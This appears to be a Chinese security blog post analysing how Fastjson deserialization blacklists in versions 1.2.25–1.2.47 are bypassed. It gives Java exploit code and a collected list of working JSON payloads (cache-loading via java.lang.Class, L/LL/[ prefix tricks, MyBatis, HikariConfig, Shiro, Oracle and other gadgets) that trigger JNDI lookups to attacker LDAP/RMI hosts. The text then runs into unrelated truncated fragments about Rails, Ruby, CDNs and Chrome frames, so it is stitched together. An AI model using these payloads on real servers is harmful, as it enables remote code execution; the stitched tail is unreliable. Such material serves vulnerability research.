这里的话就多介绍几种绕过的机制吧,然后原理的话就稍微分析一下,因为绕过的版本太多了,绕过的方法虽然有所不同但最终都是对代码的恶意解读嘛
先看一下1.2.25这个版本是怎么修复这个漏洞的,简单点说就是增加了一个黑白名单。
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}
final String className = typeName.replace('$', '.');
// autoTypeSupport默认为False
// 当autoTypeSupport开启时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
// 从Map缓存中获取类,注意这是后面版本的漏洞点
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
// 当autoTypeSupport未开启时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错
if (!autoTypeSupport) {
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}
if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
return clazz;
}
默认增加了一个黑名单和白名单,然后黑名单是有一些类的静止的然后白名单是默认为空的
默认情况下,autoTypeSupport为False,即先进行黑名单过滤,遍历黑名单,如果引入的库以黑名单中某个类开头,就会抛出异常,中断运行
具体有些
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
这些是被ban的然后呢这些类就是没法加载了,我们绕过黑白名单的思路无非就是去找除开黑名单意外的恶意类然后进行加载,要嘛就想办法去把自己的恶意类加入白名单中,然后这里的话利用了一个非常规的手法,
这里的话我先说第一种方法,去加载到缓存中,在fastjson漏洞原理的的时候我们更流程的时候就知道了一件事情,就是fastjson在反序列类的时候会去它自己的缓存里面找是否加载过这个类(就是那个mapping),然后我们去看看修复的时候是否存在这个问题
就是这个地方,它回去从
缓存里面获取,如果缓存里面存在的话那么就可以直接利用了,然后我们就要去找怎么去往这个缓存里面加载这个类,然后问题就出在这里,这个是一个反序列化器,就是对应这fastjson在初始化的时候会把那部分类放到缓存里面去,然后放到缓存里面去的时候就会调用这个反序列化器具

调用反序列化器就会调用loadclasss然后问题就出在这里,它调用之后就会把我们传入的值给加到缓存里面,所以我们如果先加载一次,然后再反序列化一次就可以成果执行我们的恶意类
写payload
{{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}
这是第一步的payload简单分析一下,前面这个lang.Class是为了调用那个类加载器,然后后面那个val是加载器里面的一个逻辑必须要是val才不会报错,然后就会把这后面那个值给附加到缓存Maping中
完整payload
class Demo5{
public static void main(String[] args) {
//这里我们就分为两步操作,但是代码要写在一起,因为我们需要初始化以后马上再调用反序列化所以需要衔接好
// 加载一个恶意类
//然后调用payload就行
String JsonString="{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8088/MLgWxhdi\",\"autoCommit\":\"0\"}}";
JSON.parseObject(JsonString);
}
}
这里就很简单了就是用ldap那个类去执行了一下就可以执行了,这个方法绕过的话其实不是最开始1.2.25的绕过中间还有很多其他的版本去绕过,我去收集了一下这些版本的绕过payload和原理整理了一下
它的问题出在loadclass这个方法,前面是我们会经过黑名单的判断

然后走到loadclass

然后后面有一个判断的时候,这有个语句是判断,如果类前面是一个大写的L,后面是;号的类,就会把这个两个符号删除然后类加载它,我感觉这个应该是用来处理异常的,

但是这里就成了我们利用的条件
String payload ="{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1:8088/MLgWxhdi/ExportObject\",\"autoCommit\":\"true\" }";
JSON.parse(payload);
我看到这个利用的时候我都觉得为什么修复的那么随意呀

就取字符的时候多加了一位那双写不就行了嘛
EXP
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"ldap://127.0.0.1:8088/MLgWxhdi",
"autoCommit":true
}
然后再43这个版本增加了一个如果有LL开始的类直接就抛出异常
然后有对另外一个地方没有过滤好

这里说的是如果类的第一个是 [号也会去加载类,然后中间还有一些if语句去判断要些什么符号
EXP
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[,"dataSourceName":"ldap://127.0.0.1:8088/MLgWxhdi", "autoCommit":true}
这个版本的绕过的话是需要mybats的jar包
EXP
public class SuccessBypassEXP_45 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload ="{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\"," +
"\"properties\":{\"data_source\":\"ldap://127.0.0.1:8088/MLgWxhdi\"}}";
JSON.parse(payload);
}
}
主要是一个黑名单的绕过,这里主要是一个利用JNDI注入去构造的漏洞,在JNDI里面有setter方法直接去赋值了然后调用了LOOK方法所以可以触发,这里就不详细去跟了
借用一下一个师傅的

Java反序列化Fastjson篇03-Fastjson各版本绕过分析 | 芜风 (drun1baby.github.io)
这个通杀的话就是我最开始介绍的那种方法利用loadclasss去把前面类给加载到缓存里面,然后再加载的时候就可以了
需要开启AutoType
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://127.0.0.1:8088/MLgWxhdi"}
{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://127.0.0.1:8088/MLgWxhdi"}
无需开启 autoType:
{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"}
{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://127.0.0.1:8088/MLgWxhdi"}
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}"
前提:
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1399/Calc"}}
这篇文章的主要内容是在1.2.47前的通杀绕过利用loadclass绕过check机制,后续的话需要去慢慢研究一下较高版本的绕过就是1.6.21以后的,上面的大部分是一些收集的一些payload和一些简单绕过,后续就有基于新的机制的绕过
我正在按照MicahelHartl的Rails教程构建示例应用程序。我试着探索了一下并添加了一些不同的东西——所以在用户表中我添加了一个account_balance列。问题是User模型内置了一堆验证:validates:name,presence:true,length:{maximum:50}validates:username,presence:true,length:{maximum:50}VALID_EMAIL_REGEX=/\A[\w+\-.]+@[a-z\d\-]+(?:\.[a-z\d\-]+)*\.[a-z]+\z/ivalidates:email,presence
因此,我们的页面中有以下代码:OnOff这是2个单选按钮。'开和关'。“关闭”是默认值。使用Watir-webdriver和Ruby,我们想要选择“打开”单选按钮。我们这样做:browser.radio(:id=>"HasRegistration_true").set但在这样做时,我们得到以下错误:`WebElement.clickElement':Elementcannotbescrolledintoview:[objectHTMLInputElement](Selenium::WebDriver::Error::MoveTargetOutOfBoundsError)我们知道Sele
在rails中,我有迁移来改变生产数据以适应新的验证规则,有几处错误所以我有2个不同的迁移(它们可能是一个但仍然是分开运行的两个方面)一个失败,因为另一个验证不是遇到了,反之亦然验证在模型中是新的,例如validates_uniqueness_of:job_id,:scope=>[:day,:time,:user_id,:overtime,:comments],:message=>"DuplicateEntry,Pleasecheckyourdata"validates_uniqueness_of:job_id,:scope=>[:day,:user_id,:comments],:me
今天下午我在玩一个主意,偶然发现了一些我不太明白的东西。基本上我在这个实验中试图实现的是在每次创建字符串时以某种方式知道(供以后使用,例如在某种DSL中)。以下内容适用于通过String.new创建的任何字符串:class::Stringclass例如irb>String.new("foo")initializing'foo'newing'foo'=>"foo"我想不通的是当您使用文字时如何创建String对象。例如,为什么这不经过相同的初始化和设置:irb>"literalstring"=>"literalstring"我意识到当字符串是文字时,编译器会做一些不同的事情,但它不需要初
在我的Rails项目的Gemfile中,我开始有辅助gem,例如“ruby-debug19”、“perftools.rb”或“irbtools”。所有这些实际上与项目无关,而是我本地开发设置的一部分。但是因为我使用的是bundler,所以我无法加载这些gems(即使它们是在系统范围内安装的),除非我将它们添加到Gemfile中。在我看来,这有点代码味道。例如,我希望能够在railsconsole中require'irbtools'而无需将“irbtools”添加到我的Gemfile。有没有办法将辅助gem排除在Gemfile之外,并且仍然能够在我需要它们时加载它们以进行调试、分析等?
我对预期的RuntimeError有一个大问题:“无法在迭代期间将新key添加到哈希中”在我的例子中,我有一个YAML文件:test.yaml-我已经在其中添加了一些key。test.yamlkey1:key2:key3:我在变量中获取文件的内容:file_hash=YAML.load_file("testm.yaml")然后我需要遍历这个散列并向它们添加其他键:file_hash.eachdo|key|file_hash[key]='key_1'file_hash[key]='key_2'endFile.open('test.yaml','w'){|f|YAML.dump(file_
我有一个Rails模型可以验证2个表单值的唯一性。如果这2个值不是唯一的,则会显示验证错误,并且“提交”按钮将更改为“重新提交”。我想允许用户单击“重新提交”按钮并绕过模型验证。我想从Rails验证文档中执行类似的操作:validates_uniqueness_of:value,:unless=>Proc.new{|user|user.signup_step但我的模型中没有可以检查的值...只有具有“重新提交”值的参数。关于如何做到这一点有什么想法吗? 最佳答案 在我看来这是最好的方法:classFooBar:force_submi
我有一个Rails3应用程序,它对对象进行JSON编码,以便将它们存储在Redis键/值存储中。当我检索对象时,我尝试解码JSON并从数据中实例化它们,如下所示:defdecode(json)self.new(ActiveSupport::JSON.decode(json)["#{self.name.downcase}"])end问题是这样做涉及批量分配,这是不允许的(我被告知有充分的理由!)对于我没有赋予attr_writer能力的属性。有没有办法只针对此操作绕过批量分配保护? 最佳答案 assign_attributeswith
首先,让我们来看一看,什么是CDN:CDN的全称是ContentDeliveryNetwork,即内容分发网络。其基本思路是尽可能避开互联网上有可能影响数据传输速度和稳定性的瓶颈和环节,使内容传输得更快、更稳定。通过在网络各处放置节点服务器所构成的在现有的互联网基础之上的一层智能虚拟网络,CDN系统能够实时地根据网络流量和各节点的连接、负载状况以及到用户的距离和响应时间等综合信息将用户的请求重新导向离用户最近的服务节点上。其目的是使用户可就近取得所需内容,解决Internet网络拥挤的状况,提高用户访问网站的响应速度。(内容来自于百度)但是CDN对于安全测试存在影响,它会隐藏服务器真实的ip地
我正在写一个类似intab的chrome扩展在内联iframe中加载链接,除了将X-Frame-Optionsheader设置为DENY或SAMEORIGIN的网站外,它工作得很好。在此Question针对HTTPheader包含X-Frame-Options属性的情况提供的工作解决方案。但是,X-Frame-Options也可以在HTML的元素中设置。有没有办法在chrome加载这个元素之前删除它? 最佳答案 没有这样的东西.而且,在chrome加载之前操作DOM也是不可能的。Chrome加载一个页面,然后创建dom。但是x-fr